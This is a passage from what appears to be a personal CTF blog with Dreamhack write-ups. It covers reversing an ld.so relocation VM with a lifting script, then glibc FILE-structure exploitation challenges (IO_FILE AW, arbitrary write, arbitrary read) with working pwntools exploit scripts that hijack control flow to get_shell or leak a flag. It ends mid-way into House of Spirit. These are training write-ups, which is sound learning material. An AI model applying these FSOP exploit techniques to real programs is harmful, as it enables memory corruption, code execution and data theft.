\u0026ldquo;full text blog\u0026rdquo;\nThe truth is that in each relocation section of child program, it is redesigned to act like a simplified Virtual Machine that changes the value of the exit status variable\nAt first wrong = 1/correct = 0 so the exit() will explicitly show the correct result if the XTEA encrypted value match the hard-coded value. However, after passing the hidden validation in the relocation phase, if the input is not satisify, the correct will be changed to 1 -\u0026gt; The program always returns false.\nSo next we need to validate each relocation in each binary child. However it must be definitely a pattern, so we just need to analyze once. I will do with the first binary bin_0\nAnalyze the relocation VM Well at this point, we need to do a little research, The following part abuses the link_map to access a hidden value in ld.so that stores information about the arguments.\nThe following logs are my translated instruction from the relocating progress, involving 4 relocation types\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 0x1005000 0x403fd8 = 0x0 0x1005018 0x403fe0 = 0x0 0x1005030 0x804110 = 0x403ff0 0x1005048 memcpy(0x804110, 0x403ff0, 0x8) 0x1005060 0x804140 = 0x18 0x1005078 memcpy(0x804140, 0x18, 0x8) 0x1005090 0x804140 = 0x18 0x10050a8 memcpy(0x804140, 0x18, 0x8) 0x10050c0 0x804140 = 0x18 0x10050d8 memcpy(0x804140, 0x18, 0x8) 0x10050f0 memcpy(0x804140, 0x0, 0x8) 0x1005108 0x804128 = 0x392d0 0x1005120 memcpy(0x804128, 0x392d0, 0x8) 0x1005138 0x804128 = 0xfffffffffffffff0 0x1005150 memcpy(0x804158, 0xfffffffffffffff0, 0x8) 0x1005168 memcpy(0x804180, 0x0, 0x8) Let\u0026rsquo;s analyze this shit carefully. Sorry, my disassembler is such a mess but I don\u0026rsquo;t know how to demonstrate the logs better.\nFirstly, there is a repeated pattern you need to figure out\n1 2 symbol.st_value = addr memcpy(addr, symbol.st_value, 0x8) This means to retrieve a 8-byte sequence at the address stored in symbol.st_value, then It will be copied into a specified address\nBecause 0x403ff0 is pointing to GOT[1] in our binary, it is iterating throw link_map 3 times\n*(uint64_t *)link_map-\u0026gt;l_next-\u0026gt;l_next-\u0026gt;l_next\nIt is equivalently getting the base address of ld.so, and then adding with offset 0x392d0. I don\u0026rsquo;t know what this is either, but after debugging the program, it shows an incrediable result The value at 0x804180 is pointing to argv[1] which is our input\nAfter doing a few research, I have known that it is trying to obtain the pointer pointing into the initial process stack through loader/linker internal data, by calculating the base address of ld.so and after that adding it with offset 0x392d0, we could leak the stack! Wow this is amazing the magic number 0x392d0 is insane, but should I remember this? Nah I just need to know there is such a magic like this, whenever I need it, I will find again\nNow we know one observation what 0x804180 is. This is an enormous data because instead of blindly translate the assembly code we could concentrate on hunting for the input modification branch\nThere is a really weird part that took me a lot of time to figure out (of course using AI, although my assumption about this was at first correct but I ignored it because it just a flash idea flew throw my mind lol). That is, when I debug a program, I don\u0026rsquo;t understand why a function with 0xA flag enabled is not executed. The reason is the challenge set the st_shndx to zero (I mentioned the reason above)\nTo be honest, I don\u0026rsquo;t know, knowing these things are actually helpful or not because I feel like it is way too specific toward this challenge and reflex a tiny applicatable benefits\nWell basically, when dealing with such a challenge highly obfuscated this like, I\u0026rsquo;m guessing that this virtual machine is also scrambled and modifed to be taxing to comprehend (after suffering a lots). So I think reading purely each line will break our mind (tried T_T). So we need to lift it to IR for easier analysis.\nSo we need to reconstruct our interpreter to make it cleaner. Then we extract each consecutive instruction, observe its repetition and merge it into a block with specific meaning.\nFor example\n1 2 3 0x8040b0 = some_value next_reloc = 0x8041a0 memcpy(0x8041a0, 0x8040b0, 0x1) This part could be completely lifted into\n1 2 0x8041a0 = * (_BYTE *) 0x8040b0 // or we can replace this directly to the value at 0x8040b0 // because 0x8040b0 is just a temporary variable Or this pattern\n1 2 3 4 5 6 7 8 9 0x1005828 0x1005840 = 0x205b308 0x1005840 0x205b308 = 0xc348c38348 0x1005858 0x8040e0 = 0x205b308 0x1005870 0x1005888 = 0x205b300 0x1005888 0x205b300 = 0xc 0x10058a0 0x804170 = 0x205b300 0x10058b8 memcpy(0x8040de, 0x205b300, 0x2) 0x10058d0 0x804170 = 0x0 0x10058e8 0x404040 = 0x205b308 Let\u0026rsquo;s analyze this\nFirst it pushes the address of the next function to 0x205b308 which is the RWE section to store the shellcode Then it pulls shellcode, sets the value of st_shndx to 0xc (or any value different with zeero) and executes it Then it will use 0x404040 as a deliverer to execute the STT_GNU_IFUNC (and it always uses 0x404040) We can lift these to\n1 JUMP to 0x1005948 There is also another JUMP pattern (the unexecuted one). The clear signal we figured out the changes of 0x8040de to zero. We could lift this pattern and simultaneously eliminate useless logs\nBy combining all lifted logs, we can understand how the program implements the validation\nI came up with this script in order to automate my lifting process\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 #!/usr/bin/env python3 from pwn import * import struct, io from elftools.elf.elffile import * from collections import * from capstone import * from capstone.x86_const import * with open(\u0026#39;main\u0026#39;, \u0026#39;rb\u0026#39;) as f: data = f.read() blob_list = 995 blob_info_offset = 0x1A180 blob_offset = 0x1F018 relocation_offset = 0x5000 bin_id = 1 ELF64_Rela = struct.Struct(\u0026#39;\u0026lt;QQq\u0026#39;) ELF64_Sym = struct.Struct(\u0026#39;\u0026lt;IBBHQQ\u0026#39;) R_X86_64_GLOB_DAT = 0x6 R_X86_64_64 = 0x1 R_X86_64_COPY = 0x5 R_X86_64_RELATIVE64 = 0x26 def get_relocation_size(): global bin_id offset = 0x9B8 + 0x60 * bin_id return u64(data[offset + 0x40 : offset + 0x48]) - u64(data[offset + 0x10 : offset + 0x18]) - 0x10 offset = u64(data[ blob_info_offset + bin_id * 16: blob_info_offset + bin_id * 16 + 8 ]) size = u64(data[ blob_info_offset + bin_id * 16 + 8: blob_info_offset + bin_id * 16 + 16 ]) ELF = data[blob_offset + offset : blob_offset + offset + size] assert(ELF[:4] == b\u0026#39;\\x7fELF\u0026#39;) io = io.BytesIO(ELF) elf = ELFFile(io) def va_to_file_offset(addr): try: for iter in elf.iter_segments(): if iter[\u0026#39;p_type\u0026#39;] != \u0026#39;PT_LOAD\u0026#39;: continue p_vaddr = iter[\u0026#39;p_vaddr\u0026#39;] p_memsz = iter[\u0026#39;p_memsz\u0026#39;] p_filesz = iter[\u0026#39;p_filesz\u0026#39;] p_offset = iter[\u0026#39;p_offset\u0026#39;] if p_vaddr \u0026lt;= addr \u0026lt; p_vaddr + p_memsz: if addr \u0026gt;= p_vaddr + p_filesz: return -1 return addr - p_vaddr + p_offset except: pass return -1 def get_symbol(index): addr = index * 0x18 + dt_sym return ELF64_Sym.unpack(ELF[addr : addr + 0x18]) def write_addr(addr, data): global ELF offset = va_to_file_offset(addr) if offset \u0026lt;= 0: return ELF = ELF[:offset] + data + ELF[offset + len(data):] return def read_addr(addr, sz): global ELF offset = va_to_file_offset(addr) if offset \u0026lt;= 0: return b\u0026#39;\\x00\u0026#39; * sz return ELF[offset:offset+sz] write_addr(0x804180, p64(0xa1fff170fe938d01)) dt_sym = 0x4000 dt_rela = 0x5000 dt_relasz = get_relocation_size() MASK32 = 0xffffffff MASK64 = 0xffffffffffffffff access = defaultdict(int) read = defaultdict(int) symbol = defaultdict(int) write_addr(0x804180, p64(0xaaaaaaaaaaaaaaaa)) symbol = { 0x8040c8: \u0026#34;Sym[8].st_value\u0026#34;, } data_type = { 1: \u0026#34;byte\u0026#34;, 2: \u0026#34;word\u0026#34;, 4: \u0026#34;dword\u0026#34;, 8: \u0026#34;qword\u0026#34; } def resolve_symbol(x): if x in symbol: return symbol[x] if isinstance(x, int): return hex(x) return x md = Cs(CS_ARCH_X86, CS_MODE_64) md.detail = True def resolve_ifunc(data): for ins in md.disasm(data, 0): type = ins.mnemonic offset = ins.operands[1].imm if type == \u0026#34;sub\u0026#34;: return -offset elif type == \u0026#34;add\u0026#34;: return offset else: raise RuntimeError() raise RuntimeError() ic = 0 pc = dt_rela cache = [] execution_flow = \u0026#34;\u0026#34; RELOCATION_BASE = 0x1005000 def flush(): for i in cache: print(i) cache.clear() while pc \u0026lt; dt_rela + dt_relasz: ic += 1 if ic \u0026lt;= 16: pc += ELF64_Rela.size continue r_offset, r_info, r_addend = ELF64_Rela.unpack(ELF[pc : pc + 0x18]) rela_type = r_info \u0026amp; MASK32 sym_i = (r_info \u0026gt;\u0026gt; 32) \u0026amp; MASK32 r_addend \u0026amp;= MASK64 st_info = get_symbol(sym_i)[1] \u0026amp; MASK64 st_shndx = get_symbol(sym_i)[3] \u0026amp; MASK64 st_value = get_symbol(sym_i)[4] \u0026amp; MASK64 st_size = get_symbol(sym_i)[5] \u0026amp; MASK64 curr = \u0026#34;\u0026#34; curr += f\u0026#34;{(pc - dt_rela + RELOCATION_BASE):#x} \u0026#34; constant = curr if rela_type == R_X86_64_64: add = (st_value + r_addend) \u0026amp; MASK64 # if (\u0026#34;0x8040c8\u0026#34; in cache[-1]) and (ELF64_Rela.unpack(ELF[pc - 0x18 : pc])[2] == 1): if len(cache) \u0026gt; 1 and r_offset == 0x8040e0 and (\u0026#34;0x205b308\u0026#34; in cache[-1]) and (\u0026#34;0x205b308\u0026#34; in cache[-2]): cache.pop() cache.pop() curr += f\u0026#34;Setup Jump to offset {pc + 3 * ELF64_Rela.size - dt_rela + RELOCATION_BASE + resolve_ifunc(read_addr(0x205b308, 8)):#x}\u0026#34; else: curr += f\u0026#34;{hex(r_offset)} = {hex(add)}\u0026#34; write_addr(r_offset, p64(add)) pass if rela_type == R_X86_64_COPY: read_data = read_addr(st_value, st_size) write_addr(r_offset, read_data) \u0026#34;\u0026#34;\u0026#34; need to solve this pattern 0x1006ad0 0x8040c8 = 0x1 0x1006ae8 0x1006b00 = 0x804191 0x1006b00 memcpy(0x804191, 0x8040c8, 0x1) \u0026#34;\u0026#34;\u0026#34; if (st_value == 0x8040c8) and (f\u0026#34;{hex(r_offset)}\u0026#34; in cache[-1]) and (\u0026#34;0x8040c8 = 0x\u0026#34; in cache[-2]): cache.pop(), cache.pop() curr += f\u0026#34;{resolve_symbol(r_offset)} = {hex(int.from_bytes(read_addr(r_offset, st_size), \u0026#39;little\u0026#39;))}\u0026#34; pass elif \u0026#34;0x8040b0\u0026#34; in cache[-1]: cache.pop() curr += f\u0026#34;{resolve_symbol(r_offset)} = {resolve_symbol(st_value)}.{data_type[st_size]}\u0026#34; # elif \u0026#34;Prepare\u0026#34; in cache[-1]: else: curr += f\u0026#34;memcpy({hex(r_offset)}, {hex(st_value)}, {hex(st_size)})\u0026#34; pass if rela_type == R_X86_64_GLOB_DAT: if st_shndx != 0 and st_info == 0xa: Function = read_addr(st_value, 8) K = 0 try: K += resolve_ifunc(Function) except: print(f\u0026#34;Function {Function} is not recognized! shndx={st_shndx}, st_value={st_value}\u0026#34;) exit(0) pc += K curr += f\u0026#34;JUMP to {pc + ELF64_Rela.size - dt_rela + RELOCATION_BASE:#x}\u0026#34; else: write_addr(r_offset, p64(st_value)) if (len(cache) \u0026gt; 1) and (r_offset == 0x404040) and (\u0026#34;memcpy\u0026#34; in cache[-1]) and (\u0026#34;offset\u0026#34; in cache[-2]): cache[-2] += f\u0026#34; ({cache[-1].split(\u0026#34;, \u0026#34;)[1]} == 0) ---\u0026gt; Failed\u0026#34; cache.pop() # print(\u0026#34;Lmao \u0026#34;, cache[-1]) # exit(0) pass else: curr += f\u0026#34;{hex(r_offset)} = {hex(st_value)}\u0026#34; pass if rela_type == R_X86_64_RELATIVE64: write_addr(r_offset, p64(r_addend)) curr += f\u0026#34;{hex(r_offset)} = {hex(r_addend)}\u0026#34; if \u0026#34;0x804170 = 0x0\u0026#34; in curr: for i in range(7): cache.pop() curr = \u0026#34;\u0026#34; pass if curr != constant and len(curr) \u0026gt; 0: cache.append(curr) if len(cache) == 100: for i in cache[:90]: print(i) del cache[:90] pc += ELF64_Rela.size flush() pure human suffering btw\nIn fact, trying hypotheses, writing scripts or reversing the logs took me over 20 hours. I was completely exhausted and drained. Whereas when I tried to solve it using GPT-5.5, it solved the challenge within 60 minutes\u0026hellip; What a brutal joke\nYou can download the raw log here, and the lifted/deobfuscated log here\nSo basically the validation is\nIt first generates a target array stored in 0x804198 -\u0026gt; 0x80419f It generates a constant array called addend[i] at 0x804190 -\u0026gt; 0x804197 It stores its transformed input into 0x804188 -\u0026gt; 0x80418f The transformation formula is res[i] = 7 * input[i] + addend[i] Then it compares with the target array So far we only need these observation, hunting for how the program changes the exit_status or other stuffs is unnecessary anymore\nAnd from that we could reproduce the execution of each child and write a general solver to reverse the transformation, recover the input\nBut the inconvenient thing is that the addend[i] is not only derive from the [0x804190, 0x804197]. There is a few instructions for each input byte which hard-coded in the binary used to add additional value. There is not enough proof to prove it is stored at any specific address so we have to manually reproduce the process to figure out this value by performing a really complicated pattern matching (or it could be more simple but I haven\u0026rsquo;t tried so I don\u0026rsquo;t know)\nThere is an easier approach. First, we still create an interpreter but then we just need to feed it a decoy input value. Then we could calculate the total addend by performing some mathematical calculations (because we already know the input, and the transformation applied to every input does not change). The simplest decoy value is zero. At the end we can use the transformed data directly, because transformed[i] = 7 * 0 + addend[i]\nSorry I could not provide the exact solver script because of dreamhack\u0026rsquo;s rule but these analysis are my raw working process hope you guys like it. If you need any hints or how to write a proper solve script you could contact me. I\u0026rsquo;m very pleasant to share my works :D\nLesson Learnt Hmm what did we have here? Well from the fake flag we could see that, anything that is executed before main entry point could be the choke point for reverse engineering. Without encountering such an equivalent challenge, it would be more difficult to figure out the correct path.\nThe memfd_create function creates an anonymous file descriptor, it acts exactly the same as a normal file descriptor. For example, we can read, write, and mmap, but it does not exist in the filesystem (which means the file is not stored on disk). Fork creates a child process inherited everything from its parent from process including its memory. The PPID of the child will be the PID of the process created it. And finally fexecve is used to execute a program from an existed file descriptor (unlike execve which executes program using pathname)\nUnlike other reverse challenges, this reversing part of this challenge\u0026rsquo;s fake branch is rather simple and easy to do. There is no hard trick like obfuscation, packer or cryptography (well there is XTEA but not hard). The program is not effortless to reverse, we still need to devote considerable time to catch on the logic\nThere could be other techniques related to ld.so used to hide deliberated branch\nIf there is a suspicious section with an abnormal permission. For example WRITE for unncessary section such as .rela or RWX for an abitrary section could be a strong signal to triage\nTo get better at analyzing the virtual machine, we could write a disassembler/interpreter and run it with our input, the interpreter is luck-based because we\u0026rsquo;re hardly able to manage all the internal logic but the only thing it need to be accurate is the meaning and the execution branch.\nLifting raw disassembled/interpreted script to readable IR version is a good approach to deobfuscate and make the pattern clearer. My trial is the proof for this, I was working with the raw version and took almost 15 hours without gaining any useful insight, whereas with the IR one, I solved the challenge in just 3-4 hours\nIf you notice any misleading information or incorrect parts in my writeup, don\u0026rsquo;t hesitate to DM me, I would be very pleased :D\n","permalink":"https://ryouthecat.github.io/posts/note/m_dreamhack/","summary":"\u003ch3 id=\"troll-branch\"\u003eTroll branch\u003c/h3\u003e\n\u003cp\u003eI gonna make this real quick because this is a fake flag\u003c/p\u003e\n\u003cp\u003eSo basically there are multiple ELF binary files embedded in the main executable. Each ELF binary validates every 7 consecutive bytes of the flag by encrypting it with XTEA and comparing with the constant hard-coded in the binary\u003c/p\u003e\n\u003cp\u003eThe 7 consecutive bytes are changed into 8-byte sequence by this modification: \u003ccode\u003ea[i] = variable + variable / 255 + 1\u003c/code\u003e and \u003ccode\u003evariable /= 255\u003c/code\u003e\u003c/p\u003e","title":"Dreamhack M Challenge"},{"content":"IO_FILE AW Link: https://dreamhack.io/wargame/challenges/55\nDescription This challenge is a FSOP-related bug\nThis challenge\u0026rsquo;s bug is not trivial, it is set up for learning purpose The bug is basically programmed, we could overwrite the stdin which is the _IO_FILE libc\u0026rsquo;s struct\n1 2 3 dest = stdin; if ( src ) memcpy(dest, src, 0x40u); Take a look at the _IO_FILE struct\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_file_flags _flags /* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */ char* _IO_read_ptr; /* Current read pointer */ char* _IO_read_end; /* End of get area. */ char* _IO_read_base; /* Start of putback+get area. */ char* _IO_write_base; /* Start of put area. */ char* _IO_write_ptr; /* Current put pointer. */ char* _IO_write_end; /* End of put area. */ char* _IO_buf_base; /* Start of reserve area. */ char* _IO_buf_end; /* End of reserve area. */ /* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base; /* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */ struct _IO_marker *_markers; struct _IO_FILE *_chain; int _fileno; #if 0 int _blksize; #else int _flags2; #endif _IO_off_t _old_offset; /* This used to be _offset but it\u0026#39;s too small. */ #define __HAVE_COLUMN /* temporary */ /* 1+column number of pbase(); 0 is unknown. */ unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1]; /* char* _save_gptr; char* _save_egptr; */ _IO_lock_t *_lock; #ifdef _IO_USE_OLD_IO_FILE }; So basically our concentrated fields are the first nine variable and the _fileno in this challenge Additionally there is _IO_FILE_plus which is the structure of _IO_FILE and the struct IO_jump_t vtable which point to many native functions for example __write/__read and some essential function like __underflow or __overflow but we won\u0026rsquo;t take a look at those stuff in this challenge\nThe ultimate purpose of overwriting an _IO_FILE struct is to hijack the libc stdin/stdout execution flow to do whatever we want\nNow lets take a look at this challenge. We would like to do something with the fgets function because we are able to overwrite the stdin structure which we could hijack input function\nLook into the libc source code we could see that fgets is the _IO_fgets, we could conclude this by looking at the libc source or dynamically debug the challenge when it calls the fgets function\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 char * _IO_fgets (char *buf, int n, _IO_FILE *fp) { _IO_size_t count; char *result; int old_error; CHECK_FILE (fp, NULL); if (n \u0026lt;= 0) return NULL; if (__glibc_unlikely (n == 1)) { /* Another irregular case: since we have to store a NUL byte and there is only room for exactly one byte, we don\u0026#39;t have to read anything. */ buf[0] = \u0026#39;\\0\u0026#39;; return buf; } _IO_acquire_lock (fp); /* This is very tricky since a file descriptor may be in the non-blocking mode. The error flag doesn\u0026#39;t mean much in this case. We return an error only when there is a new error. */ old_error = fp-\u0026gt;_IO_file_flags \u0026amp; _IO_ERR_SEEN; fp-\u0026gt;_IO_file_flags \u0026amp;= ~_IO_ERR_SEEN; count = _IO_getline (fp, buf, n - 1, \u0026#39;\\n\u0026#39;, 1); /* If we read in some bytes and errno is EAGAIN, that error will be reported for next read. */ if (count == 0 || ((fp-\u0026gt;_IO_file_flags \u0026amp; _IO_ERR_SEEN) \u0026amp;\u0026amp; errno != EAGAIN)) result = NULL; else { buf[count] = \u0026#39;\\0\u0026#39;; result = buf; } fp-\u0026gt;_IO_file_flags |= old_error; _IO_release_lock (fp); return result; } There is a few note, when there is a bug related to fsop that we could control the stdin, it means we could somehow abitrary write stuffs and when we are able to control the stdout, we could somehow abitrary read stuffs\nThen we want the execution flow is _IO_fgets -\u0026gt; _IO_getline -\u0026gt; uflow -\u0026gt; _IO_UFLOW -\u0026gt; __uflow -\u0026gt; _IO_default_uflow -\u0026gt; _IO_UNDERFLOW -\u0026gt; __underflow -\u0026gt; _IO_new_file_underflow\nThe reason why we want to access the _IO_new_file_underflow is this part\n1 2 3 4 5 6 fp-\u0026gt;_IO_read_base = fp-\u0026gt;_IO_read_ptr = fp-\u0026gt;_IO_buf_base; fp-\u0026gt;_IO_read_end = fp-\u0026gt;_IO_buf_base; fp-\u0026gt;_IO_write_base = fp-\u0026gt;_IO_write_ptr = fp-\u0026gt;_IO_write_end = fp-\u0026gt;_IO_buf_base; count = _IO_SYSREAD (fp, fp-\u0026gt;_IO_buf_base, fp-\u0026gt;_IO_buf_end - fp-\u0026gt;_IO_buf_base); If we somehow bypass the condition check above and lead the flow to this position, we could abitrary write into _IO_buf_base To bypass all the above deadlock\u0026rsquo;s branch, we could change the flags to make all if-statements go wrong\nFor example\n1 2 if (fp-\u0026gt;_flags \u0026amp; _IO_EOF_SEEN) return EOF; We could unmask the _IO_EOF_SEEN to skip this for example. This process is simple but cost time\nPoC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 #!/usr/bin/env python3 from pwn import * dir = \u0026#34;./iofile_aw_patched\u0026#34; exe = context.binary = ELF(dir, checksec=False) libc = ELF(\u0026#34;./libc.so.6\u0026#34;) gdbscript = \u0026#34;\u0026#34;\u0026#34; b * 0x0000000000400ADD b * 0x00000000004009F2 continue \u0026#34;\u0026#34;\u0026#34; def start(): if args.GDB: return gdb.debug([dir], gdbscript=gdbscript) if args.REMOTE: return remote(args.HOST, int(args.PORT)) return process([dir]) p = start() def exploit(): payload = flat( 0xfbad208b, exe.sym[\u0026#39;size\u0026#39;], 0, 0, 0, 0, 0, exe.sym[\u0026#39;size\u0026#39;], ) p.sendlineafter(b\u0026#39;# \u0026#39;, b\u0026#39;printf \u0026#39; + payload) p.sendafter(b\u0026#39;# \u0026#39;, b\u0026#39;read\u0026#39;.ljust(0x200, b\u0026#39;\\0\u0026#39;)) p.sendline(p32(0x1000)) p.sendlineafter(b\u0026#39;#\u0026#39;, cyclic(552) + p64(exe.sym[\u0026#39;get_shell\u0026#39;])) p.sendlineafter(b\u0026#39;#\u0026#39;, b\u0026#39;exit\u0026#39;) pass exploit() p.interactive() IO_FILE Arbitrary Address Write Link: https://dreamhack.io/wargame/challenges/367\nDescription In this challenge we need to overwrite a global variable to 0xdeadbeef to retrieve the flag\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 int __fastcall main(int argc, const char **argv, const char **envp) { v6 = __readfsqword(0x28u); init(argc, argv, envp); buf = fopen(\u0026#34;/etc/issue\u0026#34;, \u0026#34;r\u0026#34;); printf(\u0026#34;Data: \u0026#34;); read(0, buf, 0x12Cu); fread(ptr, 1u, 0x3FFu, buf); printf(\u0026#34;%s\u0026#34;, ptr); if ( overwrite_me == 0xDEADBEEF ) read_flag(); fclose(buf); return 0; } We could see that we again are able to overwrite an _IO_FILE struct, here is a custom FILE * once not the stdin or stdout, we could overwrite up 0x12C equivalent to fully control the struct\nTake a look at the _IO_FILE struct\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_file_flags _flags /* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */ char* _IO_read_ptr; /* Current read pointer */ char* _IO_read_end; /* End of get area. */ char* _IO_read_base; /* Start of putback+get area. */ char* _IO_write_base; /* Start of put area. */ char* _IO_write_ptr; /* Current put pointer. */ char* _IO_write_end; /* End of put area. */ char* _IO_buf_base; /* Start of reserve area. */ char* _IO_buf_end; /* End of reserve area. */ /* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base; /* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */ struct _IO_marker *_markers; struct _IO_FILE *_chain; int _fileno; #if 0 int _blksize; #else int _flags2; #endif _IO_off_t _old_offset; /* This used to be _offset but it\u0026#39;s too small. */ #define __HAVE_COLUMN /* temporary */ /* 1+column number of pbase(); 0 is unknown. */ unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1]; /* char* _save_gptr; char* _save_egptr; */ _IO_lock_t *_lock; #ifdef _IO_USE_OLD_IO_FILE }; The fopen openned a file with r mode which means this serves reading content in the stream. So the IO should act like this, it will read and store in read buffer, then starting to consume bytes respectively, if the buffer ends, it will start to underflow the read buffer and start to trigger read syscall to get more input\nSo in order to write a specific address we need to change the IO_buf_base and IO_buf_end address as well as change the execution flow We want this order fread -\u0026gt; __fread_chk -\u0026gt; _IO_sgetn -\u0026gt; _IO_file_xsgetn -\u0026gt; __underflow -\u0026gt; _IO_new_file_underflow\nImportant part in the _IO_file_xsgetn\nif (fp-\u0026gt;_IO_buf_base \u0026amp;\u0026amp; want \u0026lt; (size_t) (fp-\u0026gt;_IO_buf_end - fp-\u0026gt;_IO_buf_base)) { if (__underflow (fp) == EOF) break; continue; } This part want \u0026lt; (size_t) (fp-\u0026gt;_IO_buf_end - fp-\u0026gt;_IO_buf_base). Because want is the size of fread which means 0x3FF so our condition for _IO_buf_ need to at least 0x400\nNow, come to the _IO_new_file_underflow everything is similar to the challenge IO_FILE AW. Leveraging the _IO_SYSREAD to arbitrary write into overwrite_me global variable to 0xdeadbeef\nIn the real PoC, you could set the IO_buf_base direct to the overwrite_me variable, because I want to safely overwrite all the length of fread, so I decided to move it back a little bit to match the total size\nDon\u0026rsquo;t forget to overwrite the fileno to 0 which means stdin, so we could feed our payload\nPoC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 #!/usr/bin/env python3 from pwn import * dir = \u0026#34;./vuln\u0026#34; exe = context.binary = ELF(dir, checksec=False) # libc = ELF(\u0026#34;./libc.so.6\u0026#34;) gdbscript = \u0026#34;\u0026#34;\u0026#34; b * 0x000000000040088E b * 0x00000000004008D1 continue \u0026#34;\u0026#34;\u0026#34; def start(): if args.GDB: return gdb.debug([dir], gdbscript=gdbscript) if args.REMOTE: return remote(args.HOST, int(args.PORT)) return process([dir]) p = start() def exploit(): payload = flat( 0xfbad8000, # read ptr 0x6010A5, # read end 0x6010A5, # read base 0x6010A5, # write stuff 0, 0, 0, # buf base, end 0x6010A5, 0x6014A8, p64(0) * 5, 0 ) p.sendafter(b\u0026#39;Data: \u0026#39;, payload) # pause() p.send(b\u0026#39;A\u0026#39; * 0x3fb + p32(0xdeadbeef)) pass exploit() p.interactive() IO_FILE Arbitrary Address Read Link: https://dreamhack.io/wargame/challenges/366\nDescription Challenge code\n1 2 3 4 5 6 7 8 9 10 11 int __fastcall main(int argc, const char **argv, const char **envp) { init(argc, argv, envp); read_flag(); fp = fopen(\u0026#34;/tmp/testfile\u0026#34;, \u0026#34;w\u0026#34;); printf(\u0026#34;Data: \u0026#34;); read(0, fp, 300u); fwrite(\u0026#34;TEST FILE!\u0026#34;, 1u, 0x400u, fp); fclose(fp); return 0; } First the read_flag() will store the flag into a global buffer, our goal is to leak its value using fsop with the fwrite function\nThe fwrite calls the _IO_new_file_xsputn internal libc function. The next target we want to trigger is the __overflow -\u0026gt; _IO_new_file_overflow\nIn order to do that we just need to skip these two if-statements\n1 if ((f-\u0026gt;_flags \u0026amp; _IO_LINE_BUF) \u0026amp;\u0026amp; (f-\u0026gt;_flags \u0026amp; _IO_CURRENTLY_PUTTING)) 1 2 3 4 else if (f-\u0026gt;_IO_write_end \u0026gt; f-\u0026gt;_IO_write_ptr) count = f-\u0026gt;_IO_write_end - f-\u0026gt;_IO_write_ptr; /* Space available. */ /* Then fill the buffer. */ if (count \u0026gt; 0) Overwrite the flag and _IO_write_end = _IO_write_ptr = 0 Then it will go through this branch\n1 2 3 4 5 6 if (to_do + must_flush \u0026gt; 0) { size_t block_size, do_write; /* Next flush the (full) buffer. */ if (_IO_OVERFLOW (f, EOF) == EOF) .... We need to trigger this\n1 2 3 if (ch == EOF) return _IO_do_write (f, f-\u0026gt;_IO_write_base, f-\u0026gt;_IO_write_ptr - f-\u0026gt;_IO_write_base); _IO_do_write function will write our payload into write_base and we could arbitrary read by changing the fileno to stdout and change write_base to specific address. That is all\nPoC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 #!/usr/bin/env python3 from pwn import * dir = \u0026#34;./vuln\u0026#34; exe = context.binary = ELF(dir, checksec=False) # libc = ELF(\u0026#34;./libc.so.6\u0026#34;) gdbscript = \u0026#34;\u0026#34;\u0026#34; set debuginfod enabled on b * 0x00000000004007DA continue \u0026#34;\u0026#34;\u0026#34; def start(): if args.GDB: return gdb.debug([dir], gdbscript=gdbscript) if args.REMOTE: return remote(args.HOST, int(args.PORT)) return process([dir]) p = start() def exploit(): leak_addr = 0x6010A0 leak_size = 0x50 payload = flat( 0xfbad1800, 0, 0, 0, leak_addr, leak_addr + leak_size, leak_addr + leak_size, 0, 0, 0, 0, 0, 0, 0, 1 ) p.sendafter(b\u0026#39;Data: \u0026#39;, payload) pass exploit() p.interactive() House of Spirit Link: https://dreamhack.io/wargame/challenges/54\nDescription First we need to understand what is house of spirit, so basically this is one of heap exploitation technique that leverage the permission of freeing an abitrary address we could create a fake tcache chunk and manage to write into that chunk with our intended region\u0026rsquo;s size (for example we could create a fake chunk in a writable or region that program allow and use an intended length to overwrite outsite 